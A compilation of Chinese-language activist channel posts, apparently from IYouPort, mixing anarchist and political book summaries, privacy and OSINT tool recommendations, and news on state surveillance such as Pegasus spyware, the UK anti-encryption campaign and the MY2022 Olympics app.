这一思想传统支持各种乌托邦式的理念，其特点是呼吁生产的分散化和工人/社区的直接控制。一些无政府主义者还主张放弃国际贸易和劳动分工，支持当地农业和工业的紧密结合。另一些无政府主义者不为均衡劳动负担和/或减少劳动时间的可能性所动，呼吁放弃工作—

— 时间的结构化纪律，并以自愿生产（”生产性休闲”）来取代它。这些原则已被调整以适应一系列不同的安排。也许应用这些原则的最著名的历史例子是无政府主义工会联合会，但无政府主义者也支持合作体系、基于合同和道德所有权的互惠交换模式。近年来，各种生态替代方案也都得到了探索。

全球化并没有使无政府主义的经济学方法变得多余。事实上，关于国家和企业作为新自由主义变革推动者的相对权力的争论，使人们重新关注这些关系的复杂性以及权力在当地的配置方式。对国家主权的重新关注鼓励了对地方决策原则、个人自主权和普遍权利之间的兼容性的分析。形成这些分析的原因是，人们对国家的相互依存关系有了更多的认识，并希望超越冷战意识形态中的自由主义-共产主义的两极分化。然而，从主题上看，这些讨论与传统的无政府主义关注点之间有很大的重叠。

在追求无政府主义替代方案的过程中，当前问题的紧迫性似乎很可能需要一些艰难的政治选择。与怀疑论者的看法相反，抵抗有时正是一种选择，无政府主义者在发展相互支持的系统方面有着悠久的确实的和建设性的实验历史。这一传统继续蓬勃发展，正如数以千计的其他草根反抗行动和倡议所证明的那样。然而，如果抵抗和实验失败了，或者当政策的直接选择消解它们的相关性时，对无政府主义经济体系可以实现的信念就是力量的源泉。它应该帮助无政府主义者确定自己最喜欢的（或最不坏的）选择，并且在理想情况下，对重塑建制派的偏好做出积极的贡献。

这本书为此提供了详细论述。希望正在推动变革的中国朋友也能从中获得灵感。

下载：https://t.me/iyouport/9213

下载：https://www.patreon.com/posts/da-po-fei-ci-ji-59851571

Seahorse：在 Linux 中管理您的密码和加密密钥

「图」

这是一个简单的开源密码和加密密钥管理器应用程序，可以在各种 Linux 发行版上使用。

如果您不喜欢基于云的密码管理器，Seahorse 可以成为满足您需求的绝佳解决方案。尽管它看起来很简单，但您可能会发现一些基本功能

很有用。

一些关键的亮点包括；

- 能够存储 Secure Shell 密钥（用于访问远程计算机/服务器）
- 存储用于保护电子邮件和文件的GPG密钥
- 支持为应用程序和网络添加密码钥匙串
- 安全地存储证书的私钥
- 存储密码/密语
- 能够导入文件并快速存储
- 查找远程密钥
- 同步密钥
- 能够查找/复制VPN密码

如果您使用的是基于 GNOME 的发行版，它是预装的；您需要搜索“Seahorse” 或 “Passwords” 以找到它。否则，您可以在软件中心搜索它。

此外，您还可以找到它的 Flatpak 软件包。因此，无论您使用的是哪种 Linux 发行版，都可以安装 Seahorse。

以色列警方使用NSO的“飞马” #Pegasus 间谍软件监视公民——

「图」

市长、反对前总理本雅明·内塔尼亚胡的政治抗议活动的领导人、以及前政府雇员，都是警方在没有任何搜查或窃听授权的情况下追踪的对象。

Calcalist 透露，以色列警方使用 NSO 的 Pegasus 间谍软件，远程入侵以色列公民的手机，全面控制并从中提取信息。在被警方入侵手机的人中，有现政客、反抗者、也有前政府雇员，以及一位与高级政治家关系密切的人。

Calcalist了解到，黑客攻击并不是在法庭监督下进行的，警方也没有申请搜查令或窃听令来进行监视。对所收集的数据、警方使用数据的方式、以及如何将其分发给其他调查机构，如以色列证券管理局和税务局，也没有任何监督。

已发现的问题实例之一是，在前总理本雅明·内塔尼亚胡仍在任时，对

他的抗议活动中的积极活动家进行跟踪监视。2020年期间，随着Covid-19大流行病袭来，以色列人首次被封锁，针对内塔尼亚胡的抗议活动也随之兴起。随着内塔尼亚胡政府的焦虑程度不断上升，警察增加了对抗议者，特别是抗议运动领导者的武力和暴力。

https://archive.ph/yt1E0

1. israel #nso #surveillance

《Cyber Arms: Security in Cyberspace》

「图」

人工智能网络武器——

「图」

这本书将提高人们对武器系统中使用的、在全球网络军备竞赛中囤积的人工智能网络武器的新挑战的认识。

它以现实生活中的事件为基础，全面分析了网络攻防形势，分析了网络武器如何从作为恶作剧的恶意代码演变为致命的大规模杀伤性武器，揭示了网络进攻冲突的规模，探讨了网络战的变异，警告了网络军备竞赛的升级和人工智能（AI）在军事上的使用。

该书提供了一个专家洞察力，以说明目前和未来对进化的网络武器、人工智能和机器人的恶意和破坏性使用，重点是对CBRNe和关键基础设施的网络威胁。

该书强调了国际社会在监管网络环境方面的努力，回顾了领先的网络大国的最佳做法和他们有争议的方法，建议负责任的国家行为。它还提出了信息安全和网络防御解决方案，并为选定的相互冲突的网络术语提供了定义；从技术角度以及法律、伦理和政治角度审查了网络工具与军事武器合并的破坏性潜力。

鉴于解决网络威胁的书籍很多，发现一种新的威胁类型是很难的。然而，这本书成功地做到了这一点：通过人工智能增强的网络攻击。用作者的话说，我们目前正在经历一场人工智能军备竞赛。由人工智能驱动的机器之间的网络战争正在到来。

这本书后面的章节引用了中国、美国、欧洲、和亚洲其他地方正在进

行的实际人工智能项目—— 包括预算和任务说明。虽然这项研究具有深刻的社会和文化影响，但作者重点关注到的是网络安全的后果。最终，它认为，对人工智能攻击的最好防御是更强大的人工智能形式。如您所知，IYP的立场意味着我们将对这一结论表示怀疑。

但不论如何，这本书很重要。冷战有4个主要战场：信息战、网络战、空间战、谍战；除了空间战，IYP的内容已经充分涉及了其他3个主要战场。这本书是对第2个战场的分析。

下载：https://t.me/iyouport/9218

下载：https://www.patreon.com/posts/61401236

Upstream Security 的2021年全球汽车网络安全报告——

「图」

这份2021年全球汽车网络安全报告包括对 **过去十年**的网络威胁状况的深入分析，重点是2020年。

Upstream Security 的研究团队对数百个公开报道的事件进行了分类和分析，并首次根据联合国欧洲经济委员会WP.29威胁类别对网络事件进行了映射，并深入研究了在深网和暗网中发现的非公开事件。

联网汽车的安全性已经成为一个大问题，您必需将其视为手机或电脑，而不是交通工具。您可以在我们的站点搜索“汽车”以看到更多安全性防御和黑客技术相关内容。

下载：https://t.me/iyouport/9222

50万英镑，一本正经地摧毁端对端加密——

「图」

英国政府发起了一场颇具规模的公关活动，旨在摧毁公众对信息平台端到端加密的支持，其名为“无处可藏”，其范围之广不亚于以往任何对安全保障技术的攻击。

这个50万英镑的公关战旨在破坏公众对端到端加密（E2EE）的支持，作为更广泛战略的一部分。

该战略准备让警察和间谍以及其他公共部门的窥探者很容易读取公众的在线对话，而不必事先获得许可或击败隐私保护。

从支持该活动的机构一本正经地分发的视频来看，这个 “无处藏身” 公关活动（由广告公司 M&C Saatchi 运营）的范围要广得多，而不是像之前认为的那样只针对 Facebook Messenger。

该宣传视频的内容反映了警方对E2EE的看法，认为它是一个 “数字烟幕”，阻止了警方随意翻阅公民的私人对话，令监视者难以抓住任何他们不喜欢的东西。该宣传片所传递的信息很清楚，即：“隐私只是为恋童癖者准备的”。

值得注意的是，聪明人已经进行了反击—— 其中一个人买下了一个类似于 “无处藏身” 官方网站的无主域名，并将其指向解释端对端加密之利好的信息材料。因此，noplacetohide.uk 被转到了前 Facebook 负责人 Alec Muffett 的博文，题目是 “有更多更好的方法来帮助孩子，而不会破坏互联网隐私的未来”。

我们的列表-1 中有专门板块 “反加密之战”。这场战争在全球范围内从未停歇，英国的故事只是最新一幕。因为，加密是反统治的重要战斗力。

如果您尚未理解这点，相关内容参见我们的《为自由而战》系列：[[

「图」

iyouport

这个时代真正的力量究竟是什么？已经有人找到了——为自由而战（五）

日前出现的一则消息很是令人吃惊：中国裁判文书网公布了一份刑事判决书，一名中国河南的男子因出售 SS 服务被判有期徒刑三年缓刑五年，没收销售所得，罚款 10 万。 判决书称，该男子使用支付宝和 PAYPAL 在 VPS 服务商阿里云、VULTR、RFCHOST、50KVM、SSCLOUD 等购买 VPS 搭建 SS 服务，然后出售给其他用户。 据称，他搭建了 55 个 SS 服务，发展了四千多名客户，获利 30 余万元。中国法院表示，被告“违反国家规定，提供侵入、非法控制计算机信息系统的程序，情节特别严重，其行为已构成提供侵入、非法控制计算机信息系统程序、工具罪，依法应当受到惩罚”，其服务“未经相关部门授权，具有避开或者突破计算机信息系统安全保护措施，绕开我国

互联网防火墙的监管，非法访问境外互联网站，收看非...

Read more

3 years ago · iyouport

|https://iyouport.substack.com/p/3bb?utm_source=substack&utm_campaign=post_embed&utm_mediun

劫持大疆无人机——

「图」

密歇根州立大学的一个黑客团队发现了一种劫持 “大疆” 品牌无人机的新方法。 据计算机科学与工程助理教授严介绍，这个漏洞只需要一个简单的工具—— 一盏非常明亮的灯。

尽管大疆无人机由操作员手动控制，但它们使用 AI 成像系统自动检测和避开障碍物。 当亚马逊等公司采用无人机进行快速物流交付时，这种成像系统的更强大形式可能会在未来为无人机提供动力。

这项研究表明，如果您将强光照射到大疆无人机的成像系统中，它会误以为是障碍物并移动以避免碰撞。 借助先进的灯光或激光系统，您可以通过触发其避障系统并迫使其向所需方向移动来劫持无人机。

这种漏洞利用在无人机世界之外也有一些影响。 大多数自动驾驶汽车都依赖于人工智能成像系统来避免事故或交通违规，如果可以通过任何方式操纵这些成像系统，那么 ..... 您知道的。

📌 大疆无人机和其他品牌的无人机已经在全世界范围内用来镇压反抗运动，在这里看到：《从ISIS、到伊拉克、再到以色列，商业无人机如何镇压反抗者》。

针对无人机监视和无人机发射镇压弹药的防御措施，正在被行动者高度重视。反抗者发明了一些方法以便在行动现场阻止无人机，比如这里的例子：《抗议者使用数百个激光笔”击落”警察无人机》。

携带武器的无人机无法让您通过遮住脸、打雨伞等常规措施避免被伤害，它们非常危险，而且攻击面很大，远超过地面镇压火力。相关法律斗争目前尚且没有值得说道的进展。您必须自己保护自己。

希望活动家能准确抓住类似新闻中 “要点”。

1. drones ##DJI #hacking #exploit

《The Loneliest Americans》

「图」

最孤独的美国人：亚裔——

「图」

一部融合了家族历史和原创报告文学的作品，探索并重新描绘了黑人和白人世界中的亚裔美国人身份。

这本书的影响很大。虽然作者是韩裔，但它描述的一切，华裔应该有深刻体验。

1965年，一项新的移民法解除了一个世纪以来对亚洲移民进入美国的限制。没有任何人—— 包括通过该法案的立法者—— 预计它将改变美国的人口结构。但是，在接下来的40年里，数以百万计的人来到了美国，其中包括作者 Jay Caspian Kang 的父母、祖父母、姑姑和叔叔们。他们来到这里时，对他们的新家几乎一无所知，更不用说本应定义他们的 “亚裔美国人” 的历史了。

《最孤独的美国人》讲述了 Kang 和他的家人从剑桥的一个住房项目搬到南方一个田园诗般的大学城，并最终搬到西海岸的令人难忘的故事。他们的故事是在亚裔美国人迅速扩张的背景下展开的，因为又有数以百万计的移民，其中许多是工人阶级或无证者，涌入美国。

与此同时，向上流动的城市 “专业人士” 一直在努力调与他们父母的同化目标和多元文化精英的成员身份—— 同时努力为他们自己的孩子开辟一种新的归属，他们既不是白人也不是真正的 “有色人种”。

Kang 认识到自己和其他试图在这个国家的种族二元结构中立足的亚裔美国人的这种生存孤独感。

这里有将法拉盛变成移民财富中心的商人；有洛杉矶骚乱的伤亡者；有纽约市的贫困父母，他们认为考入该市的学校是唯一的出路；有 Reddit 上咆哮着跨种族通婚的男权活动家；还有少数抗议者，他们在 BLM 集会上举着 “Yellow Peril Supports Black Power” 的牌子。

在反亚裔暴力的浪潮中，Kang 的这本精巧的书将这些孤独的和日常

毫无交集的奋斗者聚集在一起。作为回应，他呼吁一种新的移民团结形式—— 不是植根于珍珠奶茶和精英大学录取，而是，植根于难民和工人阶级的斗争。

这本书的论题非常值得深思。希望作为 “移民大国” 的中国读者能从中获得灵感。

下载：https://t.me/iyouport/9231

下载：https://www.patreon.com/posts/zui-gu-du-de-mei-60092210

“EarthAI on Demand” 网站让您有机会通过简单的界面搜索免费可用的卫星图像。只需搜索您想要的位置，过滤云层，选择您感兴趣的数据集，您就会看到一个图像列表。

Link:

https://earthondemand.astraea.earth

1. tools #satelliteimagery

《Time for Socialism: Dispatches from a World on Fire》

「图」

如何应对一个贫富分化不断加剧的世界？——

「图」

曾写下《21世纪资本论》的法国经济学者托马斯·皮凯蒂以大数据证明，世界财富不平等在两次世界大战后曾经达到低谷，而近年来已再次累积到相当高的水平。

这意味着，资本主义制度根本无法打破富者愈富贫者愈贫的魔咒。

那么，如何打造一个更公平的世界？在皮凯蒂看来，一个理想社会的组成结构应当是，大部分人都拥有足够过上体面生活的财产，少数人更富裕一些，而极少数超级富豪家族将很快被累进税率调节掉。

这本书作为皮凯蒂报刊社论的集结，通过点评近年来全球时事热点，

详细展现了他对抗超资本主义的愿景和纲领。

请注意，皮凯蒂并不是激进派，而是普通自由派，而这正是这本2021的新书有意思的地方，因为这意味着，对危险的觉知已经跨意识形态共鸣。这是进步派的成果。

不要错过：《平等是如何消失的》。

下载：https://t.me/iyouport/9262

下载：https://www.patreon.com/posts/ru-he-ying-dui-58367068

是否应该将联合国列入帮助中国政府压迫维吾尔少数民族的实体名单 ——

「图」

中国政府想通过无孔不入的监控来控制其人口，这已经不是什么秘密了。政府非常希望以（各种意义上的）极端偏见消除其人口中的某一部分，这也不是什么秘密。

中国的少数民族维吾尔族穆斯林人口对一个负责控制数十亿居民的心智的政府构成了“生存威胁”。在一个几乎所有宗教表达都被压制的国家，维吾尔人不接受政府的叙述或任何关于民族宗教的说法。

中国政府声称没有“民族宗教”。这可能是真的。但它只能容忍这么多，而伊斯兰教并不是其中之一。政府已经开始让这个少数民族大规模地消失。而且，该政权显然是在非中国实体的协助下完成这件事的 —— 从美国科技公司到外国政府官员，数量惊人。

当涉及到维吾尔族人口时，任何人都不难猜出中国政府的意图。但是，即使是负责维护（全球）和平和防止大规模侵犯人权的跨国实体也在向中国提供它想要的东西。

根据 Josh Feldman 为《新闻周刊》所做的报道，联合国显然已经成为“抵制维吾尔人的国家联盟”：

> 联合国，这个为了“重申对基本人权的信念”而设立的机构，正在通过帮助中国执政党掩盖其踪迹来协助中国政权消灭维吾尔族的暴力行动。

这些是《世界报》最近关于前联合国人权官员转为吹哨人的艾玛·莱利（Emma Reilly）的报告得出的结论。莱利称，近年来，在联合国人权理事会（UNHRC）每届会议之前，中国都要求提供预定发言的维吾尔族人和其他中国异见人士的姓名。尽管联合国自己的规则明确禁止这样做，但据莱利称，联合国已将与中国当局分享这些信息作为一种惯例，而中国当局则利用这些信息骚扰仍在中国的异议人士的家人。

这是真的还是假的？未经证实吗？…… 下注吧。但是我个人倾向于证实。这些关于联合国愿意帮助和教唆至少是间接骚扰维吾尔族居民的投诉似乎有相当坚实的可信基础。因为这并不是最近的发展。中国政府多年来一直希望维吾尔族人被管制在这样的背景中。

莱利说，她第一次发现这种做法是在2013年，当时中国的日内瓦代表团要求确认某些“反政府的中国分裂分子”是否将在人权理事会上发言。被列入名单的人包括世界维吾尔代表大会现任主席多里坤·艾沙（Dolkun Isa）等人。

当然，吹哨人艾玛·莱利现在的处境比联合国或联合国帮助促成的中国政府的暴行，还要糟糕。尽管人权事务高级专员办事处（**OHCHR**）正式确认了她的指控，但在法国报纸《世界报》报道她的指控的第二天，她就被解雇了。

与此同时，联合国试图两面讨好。

事实上，联合国在**2017**年已经证实了莱利的指控，当时人权高专办承认，它与中国当局确认了与会者的名字，中国当局“经常向联合国人权办公室询问 **……** 特定的非政府组织代表是否参加即将举行的会议”。因此，**2019**年的一个联合国法庭也确认了“向中国代表团提供人权维护者姓名的做法”。

尽管证实了中国政府滥用联合国程序，但联合国秘书长声称，当他确定中国政府没有理由要求提供这些名字时，就把中国政府轰走了。但这一说法被一名联合国法官驳回，他说人权高专办在对中国政府要求提供其希望噤声的发言者姓名的实际回应上撒了谎。

但这一声明并没有给审查和暴力的中国政府带来多大的改变。它仍然可以参与世界范围内关于治理的讨论，并要求提供它不同意的联合国发言者的信息，显然是为了进行证人恐吓。这并不是说没有人可以看到中国正在发生的事；而是在大多数情况下，那些有能力试图迫使中国发生积极变化的人已经明白，他们被一个政府击败了，这个政权的

叫声被证明是如此有效，根本不需要咬人。

需要有人向这个政权叫板。但是，那些有能力做到这点的人不仅拒绝挑战这个霸权，而且还积极参加巩固其权力的行动。

还在期待、等待国际机构垂怜的人们，是时候重新思考这件事了。

📌 如果您错过了：

大型报告《无处可逃：中国对维吾尔人的跨国镇压》

近期新闻《国际刑警组织被政府武器化，在全球追捕政治异议和活动家》

以及更多《从大规模监控到种族压迫、从拦截上访到广电总局：美国巨头如何壮大了中国的反乌托邦维稳系统》

《10年，美国巨头帮助中国构建的反乌托邦地狱》

《澳大利亚正在如何帮助中国构建监视国家》

《是谁在中国政府的监视社会计划中大发横财？》

《是谁在提供先进的监控技术协助压迫性政府对人权的侵犯？》

统治阶级永远不会死在战壕里，他们通过战争获利。死在战壕里的是人民。

乌克兰的资本家和政客可以通过将公众的注意力转移到对俄罗斯的威胁的恐惧之上而受益。但唯一能够阻止战争的是双方的革命运动。

抵抗所有政府。

1. AgainstAllGovernments

俄罗斯国家正在白俄罗斯启动军事演习，准备以普通俄罗斯人民和白俄罗斯人民作为牺牲品，用武力支撑卢卡申科的独裁政府。

反对一切战争—— 反对一切政府。

当德国政客对乌克兰的战争不再理睬时，德国、俄罗斯和乌克兰的无政府主义者正在努力建立跨民族、种族和宗教的团结。

抵制所有战争和所有政府—— 这是我们唯一的生存希望。

TeleParser：抓取和解析 Telegram 聊天记录 ——

「图」

这是一个非常轻量级但有效的 Python 实用程序，称为 TeleParser。它是一个单一功能的实用程序，使用 Telegram API 从频道和群组中提取 Telegram 聊天数据，然后以 CSV 或 JSON 格式呈现抓取的数据。

Telegram Web 应用程序为用户提供了从群组、频道和个人互动中导出聊天数据以及任何上传的媒体（包括图像、视频和 GIF）的能力。目前，Telegram 提供的导出聊天数据为 HTML 或 JSON 格式。

虽然 JSON 在某种程度上是一种结构化格式，可以让数字调查人员分析其中包含的数据；不幸的是，对于 Telegram，情况并非如此。因此，如果出现数字调查人员需要分析可能包含数千条消息的 Telegram 频道的情况时，最有效的方法通常是使用第三方分析工具，例如Paliscope YOSE。但是需要首先做的是将 Telegram 聊天数据构建为可以相应处理和分析的格式。手动执行此操作可能会花费大量时间，完全不值得。而 TeleParser—将有效且快速地完成此任务。

TeleParser 是一个轻量级实用程序，无需安装；只是它要求用户在 config.ini 文件中输入 Telegram API 凭据。然后可以通过简单的调用来运行。从这里开始，它将请求输入目标频道或群组的 ID，然后它将运行并收集所有可用的聊天数据，然后在 CSV 或 JSON 文件中呈现提取的数据。

在这里看到；https://github.com/artmih24/TeleParser

【统治阶级正在想方设法利用加密货币】不止中国，俄罗斯也开始瞄准加密货币—— 直接隶属俄罗斯总统办公厅的俄联邦金融监督局（Rosfinmonitoring）提议通过俄罗斯银行开展国家级的加密货币业务，以便识别加密货币钱包的所有者，并强行将投资者分为 “合格” 和 “不合格”。财政部声称，监管 “将有助于追踪加密货币的非法交易并增加预算收入”。这是胡扯。反间谍机构俄罗斯联邦安全局（FSB）已经支持这项提议。

1. Cryptocurrency #Russia

无政府主义电影制作人 subMedia、Antimídia 和 Wind Born Films 制作了一部纪录片，关于监视资本主义巨头 Facebook 如何监视、操纵和利用全世界的每个人。

THE SOCIAL EMPIRE (2022) —— 上面是预告片。

网站：

https://thesocialempire.net/

1. SurveillanceCapitalism

【反对健康通行证的斗争—加泰罗尼亚】尽管面对 Omicron 浪潮，加泰罗尼亚已决定从1 月 28 日星期五（今天）起终止出示健康通行证的义务。

加泰罗尼亚准确地认识到，健康通行证在对抗 Covid-19 流行病和 Omicron 变种方面无效。

政府在一份声明中说："由于Omicron，很大一部分人口有再次感染病毒的风险，无论他们的疫苗接种状况如何"。

只有舞厅将保持关闭，但这是最后仅剩的限制之一。

1. greenpass #Catalunya

Covid : la Catalogne supprime le pass sanitaire, jugé inefficace face au variant Omicron

俄乌局势相关消息和背后：俄罗斯、乌克兰、纳粹分子

「图」

【俄乌局势相关消息和背后】据驻美国的前特种部队顾问称，在乌克兰红区的基辅忠诚部队似乎并不认为俄罗斯的入侵将意味着8年的边境战争的进一步加剧，并认为这更多可能是武力恫吓/剑拔弩张，但他们普遍认为，如果战斗真的来临，他们已经准备好迎战。

俄罗斯、乌克兰、纳粹分子——

「图」

鉴于俄乌局势已经成为热门话题，也许有必要简要地对新纳粹分子和他们在俄乌边境紧张局势中的参与情况进行一些细化，避免不了解具体情况的人们被片面的消息所误导。

首先，显而易见的是，新纳粹亚速营/运动（Батальйон “Азов”）已将自己纳入国家，得到了北约的支持，并在国内建立了繁荣的新纳粹文化的基础设施，还加强了国际纳粹网络，将其他地方的新纳粹分子带到那里进行训练。同样真实的是，由纳粹合作者后裔组成的 “自由党“（Svoboda Party） 和新纳粹组织 “右区” (Right Sector) 是乌克兰欧洲议会动乱中最大的有组织派别，并在很多方面取得了胜利。北约也确实有支持和吸纳纳粹分子的历史。然而，大多数乌克兰人民不支持新纳粹主义，并积极投票给一位被视为对抗战争狂热的极右翼的犹太总统，这也是事实。

另外，新纳粹分子出没的俄罗斯帝国运动在克里姆林宫的批准下，将战士派往冲突的俄罗斯分离主义一方的前线，并开办了一个臭名昭著的营地，培训来自其他地方的欧洲新纳粹分子。俄罗斯雇佣兵组织 “Wanger” 也确实是由新纳粹分子经营并充斥其中的。而边境冲突的早期伤亡者之一是一名俄罗斯新纳粹分子杀手，他出于俄罗斯的超民族主义意识而加入，意外地用手榴弹自杀了。

「图」

这些事实往往可以被当作浅薄的什么主义来利用，而忽略了边境地缘政治的情况以及普通老百姓和社会边缘群体的具体困境。俄罗斯和 “西方” 都希望在经济上和政治上剥削乌克兰人民。俄罗斯希望进一步在经济上征服这个国家，特别是在石油物流方面，而北约国家在今天仍继续推动解除工人保护措施，增加西方公司的经济剥削，并将其作为僵尸冷战地缘政治工具。

乌克兰人民正陷于两难境地。很明显，升级为更激烈的战争或入侵将是一个非常可怕的事件，如此明显，在这一点上，它似乎更像是剑拔弩张而不是真正的威胁。俄罗斯当然也不会放开他们的立足点。当然，俄罗斯在过去也入侵过邻国，但没有这么大的潜在反击。北约和俄罗斯可能都乐于将这一事件保持在 “冷” 阶段，并以这件事 “正在发生” 的刺激性相互支持他们的政治基础和赞助者，因为他们在经济和政治上进行合作，在更宏观的层面上维持全球秩序。

当然，这也凸显了世界各地分区的黑暗暴力，以及对一个可行的无国界解决方案的重要需求。

总之，希望这些中立角度的信息有助于您的思考。

组织、行动、镇压、倦怠——

「图」

这里是 It’s Going Down 的新一期播客，其中讨论了当代无政府主义的历史和组织，物质条件和压迫对这些组织形式的影响，反抗者如何建立和维持健康的团体动态，以及反叛后的士气巩固和大流行的影响。其中涉及的一些关键话题包括：

历史上正式和非正式的组织形式是如何被国家压迫和当时的物质条件直接塑造的，而不仅仅是意识形态；

反全球化运动、占领运动、学生占领运动、以及奥斯卡·格兰特和弗格森起义，这些案例对反资本主义和反殖民主义的自治运动产生了哪些影响；

无政府主义思想和形式如何在前互联网时代传播；

镇压对跨代机运动的影响是什么、如何维持信任；

空窗期的倦怠究竟有多危险，以及在组织模式中建立健康的和整体的团体动态的必要性。

……

希望能为中国的反抗者带来灵感。

我们的年终礼也谈到了相关内容，您可以在这里回顾：

《好奇心比聪明更重要：与IYP对话2021—什么是民主？如何战斗？》

音频：https://t.me/iyouport/9303

音频；https://www.patreon.com/posts/zu-zhi-xing-dong-60499365

如何在不降低质量的情况下放大照片——

「图」

有一个您想要的图像的单一副本，它被压缩得非常小，根本没有其他尺寸。而看不清楚就无法挖掘其中的细节。这在调查和验证中是经常出现的状况。

Upscaler是一个免费的基于人工智能的工具，可以在短短几秒钟内自动缩放图像。可以将图像 “拉伸” 2倍或4倍而不降低其质量。

使用该工具只需上传或拖动图片，选择您想要的大小即可。所有这些都是完全免费的。支持的格式：.png, .jpeg, .jpg, .webp。

https://www.upscale.media/

如何找到两个类似文件之间的差异——

「图」

在清理计算机内存时，或在其他一些情况下，您可能经常会发现有两个文件非常相似。但差异很可能存在，只是很难简单地发现差异在哪。

为了避免手动翻阅每一行去寻找细微的差异，您可以使用Diffchecker，这个工具可以帮助您了解两个下载文件之间的差异，用不同的颜色突出显示不同点，使之清晰明了。

该服务很容易使用：首先选择您想要的一个类别，无论是文本、图片、PDF或Excel文件，然后上传两个对象，并点击 ”查找差异“。如果您愿意，可以通过添加缺少的部分来合并文件，或者编辑或保存差异。

link:

https://www.diffchecker.com/

Bitcoin, Currencies, and Fragility

「图」

比特币、货币和脆弱性：纳西姆·尼可拉斯·塔雷伯 **(Nassim Nicholas Taleb)**

塔雷伯最新发表的这份讨论将量化金融方法和经济论点应用于一般的

加密货币，特别是比特币。

塔雷伯指出，在其目前的版本中，尽管有炒作，实际上比特币并没有能满足“无政府货币”的概念（事实证明它甚至根本不是一种货币），既不能成为短期也不能成为长期的价值储存，不能作为可靠的通货膨胀对冲工具，而且，最糟糕的是，它甚至根本不构成一个人的投资的安全港，无法在对抗政府暴政中提供保护，也无法作为灾难性事件后的保护工具。

此外，分析指出，比特币的发起人似乎将一个支付机制（作为一个分散化的交换模式）的成功与一个与迄今为止失败的零和的、具有巨大负外部性的脆弱资产价格的投机性变化混为一谈了。

通过分析货币历史，这项讨论展示了真正的数字货币必须是相对于任意一篮子商品和服务的最小方差，黄金和白银如何在20世纪70年代末亨特兄弟的挤压中失去了其通货膨胀对冲的地位，以及真正的通货膨胀对冲价值储存的要求究竟是什么。

鉴于当下堪忧的全球经济状况（尤其是中国），很多人将目光投向了加密货币，但它是否真的恰当？希望这份讨论至少能帮助中国的加密货币爱好者进入更深层次的思考。

📌 如果您错过了：《大崩溃—— 从中国的恒大地产开始》。

下载：https://t.me/iyouport/9311

下载：https://www.patreon.com/posts/bi-te-bi-huo-bi-60666675

GO H*CK YOURSELF: A Simple Introduction to Cyber Attacks and Defense

「图」

入侵您自己——

「图」

黑客是一种实用的、有用的技能。如果以合乎道德的方式使用，黑客可以帮助您恢复忘记的密码、或访问您认为可能永远丢失了的文件。

学习黑客技术还可以帮助您保护您的个人信息免受在线攻击者的侵

害。事实上，在坏人入手之前攻击自己是让您免受网络犯罪侵犯的最佳方法之一—— 对抗性思考方式。

这本书不鼓励犯罪活动。它旨在教您如何像黑客一样思考，并将这些技能应用于解决问题、网络安全和保持在线安全。

黑客是使用已经存在的工具做一些新的或意想不到的事的人。想想“生活小窍门”，比如用牙线干净地切一块蛋糕，或者重复使用一个空的薄荷糖盒来存放回形针，等等。人类一直在为身边发现的东西想出新的工具和新的用途。计算机黑客也是类似的。人们一直在用计算机技术做新的和意想不到的事。您可以编写一个小应用程序，将文件从一种程序的格式转换为另一种格式，从而将两个原本不应该一起工作的程序组合在一起。也可以破解网络浏览器或电子表格程序来玩游戏。或者，如果您不小心，其他人可能会通过向您发送携带病毒的电子邮件来入侵您的计算机，让他们可以访问您的文件、密码、甚至网络摄像头。

这本书将帮助您像学习武术一样对待计算机黑客—— 您将学习拳打脚踢，以及如何阻止拳打脚踢。您将学习如何通过在虚拟实验室中安全地对自己执行相同的黑客攻击来保护自己和他人免于网络攻击。通过使用黑客使用的相同工具和技术，您将了解需要防御的在线威胁类型。

这本书展示了如何攻击和如何防御攻击。每一章都会提升您作为道德黑客的技能水平。前两章包含您可以立即动手执行的技巧，无需任何特殊工具—— 只需一台普通计算机和 Web 浏览器即可。

良好的网络自卫始于了解网络掠夺者和在线攻击者的危险。您需要学习如何让自己避免成为容易受到攻击的目标。通过更多的练习，您将能够保护自己和他人免受高度复杂的现实世界的攻击。只需对您使用计算机和其他电子设备的方式进行一些关键的改变，您就可以从网络受害者变成网络英雄。试试看？

下载：https://t.me/iyouport/9331

下载：https://www.patreon.com/posts/ru-qin-nin-zi-ji-60933236

这是 Nikita Uvarov—— 14岁，已被逮捕。检察官要求他在俄罗斯监狱服刑9年。

罪名是什么？仅仅是，他和另外两个14岁的无政府主义者队友在属于

俄罗斯秘密警察的建筑物上张贴了海报。

俄罗斯政府因其在哈萨克斯坦、白俄罗斯和乌克兰的行动而成为全世界的头条新闻。这应该让我们也记住他们是如何对待俄罗斯人的——就如此案所示，动员整个所谓的“反恐”镇压系统来迫害 Nikita Uvarov 和他的朋友们。

“如果他们给我一个真正的刑期，我将问心无愧地服刑”，Nikita Uvarov 说。

没有哪个孩子应该因为政治观点和反抗意识而面对这样的命运。这类事件的发生就是我们通常说的“独裁”的意思。

明天，2月10日，Nikita Uvarov 和另外两个与他同龄的孩子将面临判刑。

https://avtonom.org/en/news/kansk-teenage-anarchists-will-be-sentenced-february-10th

支持网站：

http://kanskdelo.com/en/

1. humanrights #Russia #anarchists

中国有一个奥运应用程序，声称用于追踪新冠病毒接触者，所有运动员和与会者都必须使用该应用程序。然而，据透露，这款应用程序的 Android 和 iOS 版都在收集音频并发送到位于中国的服务器。

技术研究员 Jonathan Scott 对这个名为 MY2022 Olympics 的应用程序进行了逆向工程。他发现该应用程序可用于监视运动员和与会者，因为它可以在未经同意的情况下录制音频并将其发送到中国的服务器进行分析。

Scott 写道，该应用程序“将自己置于前台，以确保它有能力倾听。”

该应用程序似乎没有利用安全漏洞。它主动录制音频并将其发送到中国境内的服务器。

根据 Scott 的发现，即使将其移至后台，它也会将自己强制移至前台，以便继续积极地窃听。

该应用程序使用由一家名为 iFlytek 的初创公司开发的 AI 技术。在我们的博客上搜索 “iFlytek” 您将看到与其相关的内容。

1. Surveillance #Olympics #China #BigBrother

最新版本的 Android 允许您禁用 2G 连接，以阻止 “#黄貂鱼” IMSI 捕手 ——

「图」

这是个好消息，但需要注意的是：仅仅是传统的IMSI捕手会在3G或4G连接降级后利用2G信号拦截通信。降级也是IMSI捕手检测应用识别恶意GSM节点的方式。

而最新一代的IMSI捕手能够通过欺骗移动设备和信号塔之间的密钥交换过程来利用4G。这使得黄貂鱼的操控者可以监听到其他加密的4G手机。这也是为什么 Signal 很重要；它是一个数据协议，而不是蜂窝GDM协议，并且有自己的加密堆栈，在这个过程中无法被破坏，这只适用于通过GSM的蜂窝4G通信。

